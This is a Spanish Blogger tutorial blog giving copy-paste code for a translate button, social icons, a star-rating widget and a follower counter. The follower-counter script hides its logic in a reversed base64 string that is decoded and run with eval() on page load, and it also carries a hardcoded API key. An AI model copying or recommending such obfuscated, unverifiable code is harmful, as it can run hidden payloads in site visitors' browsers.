lunes, 21 de marzo de 2016

Gadget Elegante Google Traductor Para Blogger



Bueno en esta ocacion les  compartiré un gadget  Google Translate widget que se pueden conectar en la barra lateral o pie de página del blog. Seguiremos los siguientes pasos sencillos y básicos.

Abre tu Blogger> Diseño> Añadir Gadget> Haz clic en el HTML / JavaScript> Copiar todo el código que esta abajo> Guardar el Gadget.


<style type="text/css">
#translator-wrapper {
  display:block;
  width:90%;
  max-width:300px;
  border:none;
  background-color:#fff;
  color:#444;
  overflow:hidden;
  position:relative;
  height:40px;
  line-height:40px;
  border:1px solid #e0e0e0;
}
#translator-wrapper select {
  border:none;
  background:transparent;
  font-family:'Verdana',Arial,Sans-Serif;
  font-size:12px;
  width:100%;
  color:#444;
  -webkit-box-sizing:border-box;
  -moz-box-sizing:border-box;
  box-sizing:border-box;
  -webkit-appearance:none;
  cursor:text;
  padding:5px 10px;
}
#translator-wrapper a,
#translator-wrapper a:hover {
  display:block;
  background-color:#4791d2;
  border:none;
  color:#fff;
  margin:0 0;
  text-decoration:none;
  position:absolute;
  top:0;
  right:0;
  bottom:0;
  cursor:pointer;
  width:14%;
  transition:all 0.3s ease;
}
#translator-wrapper a:before {
  content:"";
  display:block;
  width:0;
  height:0;
  border:6px solid transparent;
  border-left-color:white;
  position:absolute;
  top:50%;
  left:45%;
  margin-top:-5px;
}
#translator-wrapper a:hover {opacity:0.9;}
#translator-wrapper a:active {opacity:0.9;}
#translator-wrapper select:focus,
#translator-wrapper a:focus,
#translator-wrapper select:active,
#translator-wrapper a:active {
  border:none;
  outline:none;
  cursor:pointer;
}
option {
  background:#444;
  color:#e0e0e0;
}
</style>
<div id="translator-wrapper">
    <select id="translate-language">
        <option value="en" selected="selected">English</option>
        <option value="id">Indonesian</option>
        <option value="af">Afrikaans</option>
        <option value="sq">Albanian</option>
        <option value="ar">Arabic</option>
        <option value="hy">Armenian</option>
        <option value="az">Azerbaijani</option>
        <option value="eu">Basque</option>
        <option value="be">Belarusian</option>
        <option value="bn">Bengali</option>
        <option value="bg">Bulgarian</option>
        <option value="ca">Catalan</option>
        <option value="zh-CN">Chinese</option>
        <option value="hr">Croatian</option>
        <option value="cs">Czech</option>
        <option value="da">Danish</option>
        <option value="nl">Dutch</option>
        <option value="en">English</option>
        <option value="eo">Esperanto</option>
        <option value="et">Estonian</option>
        <option value="tl">Filipino</option>
        <option value="fi">Finnish</option>
        <option value="fr">French</option>
        <option value="gl">Galician</option>
        <option value="ka">Georgian</option>
        <option value="de">German</option>
        <option value="el">Greek</option>
        <option value="gu">Gujarati</option>
        <option value="ht">Haitian Creole</option>
        <option value="iw">Hebrew</option>
        <option value="hi">Hindi</option>
        <option value="hu">Hungarian</option>
        <option value="is">Icelandic</option>
        <option value="id">Indonesian</option>
        <option value="ga">Irish</option>
        <option value="it">Italian</option>
        <option value="ja">Japanese</option>
        <option value="kn">Kannada</option>
        <option value="ko">Korean</option>
        <option value="la">Latin</option>
        <option value="lv">Latvian</option>
        <option value="lt">Lithuanian</option>
        <option value="mk">Macedonian</option>
        <option value="ms">Malay</option>
        <option value="mt">Maltese</option>
        <option value="no">Norwegian</option>
        <option value="fa">Persian</option>
        <option value="pl">Polish</option>
        <option value="pt">Portuguese</option>
        <option value="ro">Romanian</option>
        <option value="ru">Russian</option>
        <option value="sr">Serbian</option>
        <option value="sk">Slovak</option>
        <option value="sl">Slovenian</option>
        <option value="es">Spanish</option>
        <option value="sw">Swahili</option>
        <option value="sv">Swedish</option>
        <option value="ta">Tamil</option>
        <option value="te">Telugu</option>
        <option value="th">Thai</option>
        <option value="tr">Turkish</option>
        <option value="uk">Ukrainian</option>
        <option value="ur">Urdu</option>
        <option value="vi">Vietnamese</option>
        <option value="cy">Welsh</option>
        <option value="yi">Yiddish</option>
    </select><a id="translate-me" href="#" title="Translate"></a>
</div>
<script type="text/javascript">
(function() {
    var mylang = "id", // Your website language
        anchor = document.getElementById('translate-me');
    anchor.onclick = function() {
        window.open('http://translate.google.com/translate?u=' + encodeURIComponent(location.href) + '&langpair=' + mylang + '%7C' + document.getElementById('translate-language').value + '&hl=en');
        return false;
    };
})();
</script>

Añadir Widget Social estilo Metro Blogger

Hola hoy vamos a ver como colocar un widget social en nuestro blog este widget tiene un estilo modelo donde vamos a poder colocar nuestros enlaces sociales de Facebook, Twitter, Google + y las entradas RSS, con solo colocar este codigo HTML a continuacion



Vamos a instalar el widget a continuacion ;

1. Una vez en el Dashboard de nuestro blogger, vamos a la opción de diseño de nuestro panel izquierdo.




2. El segundo paso es añadir un Gadget en el lugar que deseemos mostrar el widget.



3. el tercero es seleccionar la opción HTML/Javascript



4. cuarto el titulo del Widget y agregamos el siguiente código.


<div class="metro-social">
<li><a class="fb" href="Tu URL de Facebook"></a></li>
<li><a class="tw" href="Tu URL de Twitter"></a></li>
<li><a class="gp" href="Tu URL de GooGle"></a></li>
<li><a class="fd" href="Tu URL de FeedBurner"></a></li>
</div>
<style>
/*Metro UI Social Profile Widget v2.0 by Tech Prevue Labs
Web link to gadget code:
Distributed under license CC BY-NC-ND 3.0 INT
Please keep license information intact while using this widget*/
.metro-social{width:285px}
.metro-social li{position:relative;cursor:pointer;padding:0;list-style:none}
.metro-social .fb,.tw,.gp,.fd{z-index:7;float:left;margin:1px;position:relative;display:block}
.metro-social .fb{background:url(//goo.gl/6xmUk) no-repeat center center #1f69b3;width:140px;height:141px}
.metro-social .tw{background:url(//goo.gl/oyiFK) no-repeat center center #43b3e5;width:140px;height:70px}
.metro-social .gp{background:url(//goo.gl/oT0kF) no-repeat center center #da4a38;width:140px;height:69px}
.metro-social .fd{background:url(//goo.gl/ncoLY) no-repeat center center #e9a01c;width:282px;height:69px}
.metro-social li:hover .fb{background:url(//goo.gl/MH8AP) no-repeat center center #1f69b3}
.metro-social li:hover .tw{background:url(//goo.gl/hHRHv) no-repeat center center #43b3e5}
.metro-social li:hover .gp{background:url(//goo.gl/wva4B) no-repeat center center #da4a38}
.metro-social li:hover .fd{background:url(//goo.gl/JFGqn) no-repeat center center #e9a01c}
</style>


ya solo te toca cambiar las URL que estan en roja por tus redes sociales

domingo, 30 de noviembre de 2014

Ocultar Suscribirse a: Entradas (Atom) de Blogger

Si quieres quitar el texto que aparece a lo ultimo de cada entrada Suscribirse a Entradas Atom solamente tienen que seguir estos pasos cortos y listo



  1. Nos dirigimos a Diseño> Edición de HTML.
  2. Pulsamos en el teclado Ctrl + F y buscamos el siguiente código: ]]></b:skin>
  3. Y antes del código encontrado copiamos y pegamos el siguiente código:

.feed-links {
display: none;
visibility: hiden;
}

jueves, 27 de noviembre de 2014

Como agregar Gadget de 5 estrellas en Blogger

Con este tutorial sera posible que sus lectores y visitantes de su blog. Puendan calificar sus entradas Con Este Gadget de Clasificacion de Estrella para su blog las estrellas pueden ser colocadas en la parte superior o inferior en cada entrada de su blog para que los visitantes pueden clasificar su articulo



Instalar el widget de 5 estrellas en blogger :

Plantilla - Editar HTML

Ahora solo buscar </head> , Después de encontrar la etiqueta Copiar el siguiente código y pegarlo justo encima o antes de el.

<link type="text/css" rel="stylesheet" href="http://static.graddit.com/css/graddit.css" />

Ahora tambien buscar el siguiente:  <data:post.body/> y pegar el codigo de abajo  por encima  o debajo 

<b:if cond='data:blog.pageType != &quot;static_page&quot;'><div expr:id='"labels_" + data:post.id' style='display: none; visibility: hidden;'><b:if cond='data:post.labels'><b:loop values='data:post.labels' var='label'><data:label.name/>,</b:loop></b:if></div>Rate this posting: <div expr:id='data:post.id' class='ffbs_rate'>{[[&#39;&lt;img src=&quot;http://static.graddit.com/img/star.png&quot;/&gt;&#39;]]}</div><div expr:id='&quot;ffbs_stats_&quot; + data:post.id' class='ffbs_stats'></div><script type='text/javascript' expr:src='&quot;http://www.graddit.com/rate/eng/5/&quot; + data:post.id + &quot;?id=&quot; + data:post.id + &quot;&amp;stats=ffbs_stats_&quot; + data:post.id + &quot;&amp;labels=labels_&quot; + data:post.id + &quot;&amp;info=info-&quot; + data:post.id + &quot;&amp;info_delay=2&amp;url=&quot; + data:post.url + &quot;&amp;class_star=ffbs_star_img&amp;class_star_set=ffbs_star_img_set&amp;class_star_vote=ffbs_star_img_vote&amp;views=yes&amp;votes=yes&amp;average=yes&quot;'></script></b:if>

Eso fue todo espero que les agrade


Hermoso Contador Gadget de Redes Sociales

Hola en esta ocacion les traigo Un Contador de Seguidores  Gadget de Redes Sociales seguidores de Facebook, Twitter y Google + 

 Este widget es muy fácil de instalar y servirá a tus seguidores a que te sigan en tus redes sociales y ver la cantidad de seguidores que tienes en las redes.

 Pasos para instalar el widget a su blog:



  • Ir a Blogger > 
  • Diseño 
  • Elija Añadir un gadget o Añadir un elemento de página Seleccione HTML / JavaScript 
  • Pegue el siguiente código en su interior
<br/><br/><div class="arqam-widget-counter arq-flat arq-col3">
 <ul>
 <li class="arq-facebook">
 <a href="URL DE TU PAGINA FACEBOOK" target="_blank">
 <i class="arqicon-facebook"></i>
 <span class="share__count"></span>
 <small>Seguidores</small>
 </a>
 </li>
 <li class="arq-twitter">
 <a href="URL DE TU TWITTER " target="_blank">
 <i class="arqicon-twitter"></i>
 <span class="tshare__count"></span>
 <small>Seguidores</small>
 </a>
 </li>
 <li class="arq-google">
 <a href="URL DE TU GOOGLE +" target="_blank">
 <i class="arqicon-gplus"></i>
 <span class="gshare__count"></span>
 <small>Seguidores</small>
 </a>
 </li>
 </ul>
</div>
<link href='https://googledrive.com/host/0B0LTexRNPYFjQTRiV290Umo4bm8/arqam.css' rel='stylesheet' type='text/css' />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
var f_page = 'Tu Nombre de usuario de facebook';
var t_page = 'Tu nombre de usuario de twitter';
var g_page = 'Tu nombre de usuario de google +';
var g_key = 'AIzaSyDV4Tsar8AblExfmdCt5E8mEPWuLtF_cP0';
var I1l='==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kCMwkEKkxWaoNEZuVGcwFmLwAzTKsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIwAzTgIXY2pwOpwkUV5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0DbyVnJnsSKyVmcyVmZlJnL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPmVmcmcyKns2b9MmczRXZn9zLt92YuUGdhN2c1ZmYvlXbukGch9yL6AHd0h2Jg0DIjJ3cuADMJpwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACMwkEIyFmd7cSRzUCdwlmcjN3LDNTJCNTJ5ITJEdTJBBTJwITJwITJCNTJ5ITJEdTJBBTJCNTJ5ITJ05WdvN2XfVmchh2cnhjMlwWb0hmL5ITJ3ITJ05WdvN2XfVmchh2cn5yNyUCOyUCNyUSQwUiQzUCR1UyNyUCduV3bDVmbPNXdsB3NyUiQ1USY0FGZwITJENTJwITJ05WdvN2XfVmchh2cnFEMlI0NlAjMlkjMlEGdhRGOyUibvlGdj5WdmBjMlMkMlcjMlY0MlQ0Mls2YhJGbsF2Y2ITJ3ITJrkXZr91ZrcjMlQ0MlkXZrZ0MlcjMlsSZnFGcfd2K3ITJvUGbw9WZw9SM29yc1xGcv02bj5ycpBXYlx2Zv92Zuc3d39yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0MlkjMlQ0NlEEMlI0MlkjMlQnb192Yf9VZyFGazRHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGazRnL3ITJ4ITJ0ITJBBTJCNTJEVTJ3ITJ05WdvN2XzJXZ39Gbs9mZ3ITJCVTJhRXYkBjMlQ0MlAjMlQnb192Yf9VZyFGazRXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZjMlcjMlsSZnFGcfR3K3ITJENTJl1WYu9lblVmcjNnRzUibvNnauc3boN3LzJXZzV3Lx8SbvNmLyVGd0l2d05SawFmLuR2Yv8SQzUCc0RHa3ITJ4ITJO90UKRXZn5CNyUSQwUiQzUSOyUCR3USQwUiQzUSOyUCduV3bj91XlJXYoNHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGaz5yNyUCOyUCNyUSQwUiQzUCR1UyNyUycltWasdjMlIUNlEGdhRGMyUCRzUCMyUCduV3bj91XlJXYoNHMyUichZXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZ0MlcjMlsSZnFGcfZ2K3ITJv02bj5yav9mYlNWYm5CawFmcn9yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0NlkjMlgjMl42bpR3YuVnZ4ITJ5RWYlJnL5ITJ05WZtV3YvRGOyUCNyUSRzUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';var _0x84de=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _0Ol(data){var OOIlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function OOI(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i--){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(_0Ol(OOI(I1l)));
</script>


Asegúrate de cambiar todo lo que esta en Color Rojo por tus datos eso fue todo espero que les guste


 

©2011 Trucos Gadgets Para Blogger | FuuTheme diseñado por Fuutec | Ir arriba ↑